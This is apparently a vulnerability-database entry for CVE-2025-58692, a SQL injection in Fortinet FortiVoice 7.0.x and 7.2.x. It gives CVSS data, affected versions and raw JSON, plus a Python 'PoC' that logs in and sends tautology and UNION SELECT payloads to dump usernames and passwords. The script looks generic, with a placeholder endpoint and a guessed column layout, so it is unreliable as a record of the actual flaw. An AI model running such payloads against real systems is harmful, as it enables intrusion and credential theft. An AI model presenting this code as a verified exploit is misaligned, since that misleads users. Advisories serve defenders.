Security Vulnerability Report
中文
CVE-2025-58692 CVSS 8.8 HIGH

CVE-2025-58692

Published: 2025-11-18 17:16:07
Last Modified: 2026-01-14 10:16:07

Description

An improper neutralization of special elements used in an SQL Command ("SQL Injection") vulnerability [CWE-89] vulnerability in Fortinet FortiVoice 7.2.0 through 7.2.2, FortiVoice 7.0.0 through 7.0.7 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:* - VULNERABLE
FortiVoice 7.2.0 - 7.2.2
FortiVoice 7.0.0 - 7.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58692 FortiVoice SQL Injection PoC # Author: Security Researcher # Target: FortiVoice 7.0.0-7.0.7, 7.2.0-7.2.2 import requests import sys from urllib.parse import urlencode target_url = "https://target-fortivoice.com/" login_url = f"{target_url}api/v1/auth/login" inject_url = f"{target_url}api/v1/endpoint/" # Replace with valid low-privilege credentials username = "low_priv_user" password = "password123" session = requests.Session() def login(): """Authenticate to FortiVoice with low-privilege account""" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data, verify=False, timeout=30) if response.status_code == 200: print(f"[+] Login successful") return True print(f"[-] Login failed: {response.status_code}") return False def sql_injection_test(): """Test for SQL injection vulnerability""" # Basic SQL injection payload - single quote test payload = "' OR '1'='1" params = { "filter": payload, "limit": 10 } headers = { "Content-Type": "application/json" } response = session.get(inject_url, params=params, headers=headers, verify=False, timeout=30) if response.status_code == 500 or "sql" in response.text.lower() or "error" in response.text.lower(): print(f"[+] Potential SQL injection detected") print(f"Response: {response.text[:500]}") return True return False def extract_data(): """Extract sensitive data using UNION-based SQL injection""" # UNION-based SQL injection to extract database info union_payload = "' UNION SELECT NULL,NULL,username,password,NULL,NULL,NULL,NULL FROM users--" params = { "filter": union_payload, "limit": 100 } response = session.get(inject_url, params=params, verify=False, timeout=30) if response.status_code == 200: print(f"[+] Data extraction attempt completed") print(f"Response: {response.text}") return response.json() return None if __name__ == "__main__": if not login(): sys.exit(1) if sql_injection_test(): print("[+] Vulnerability confirmed") extract_data() else: print("[-] No SQL injection detected or target not vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58692", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:16:06.963", "lastModified": "2026-01-14T10:16:07.170", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of special elements used in an SQL Command (\"SQL Injection\") vulnerability [CWE-89] vulnerability in Fortinet FortiVoice 7.2.0 through 7.2.2, FortiVoice 7.0.0 through 7.0.7 allows an authenticated attacker to execute unauthorized code or commands via specifically crafted HTTP or HTTPS requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.8", "matchCriteriaId": "40DCDAF0-5F6C-41E3-B269-2CAD08D18FE0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.3", "matchCriteriaId": "9ED85222-4F3D-4B10-91FD-CB476CAF9652"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-666", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}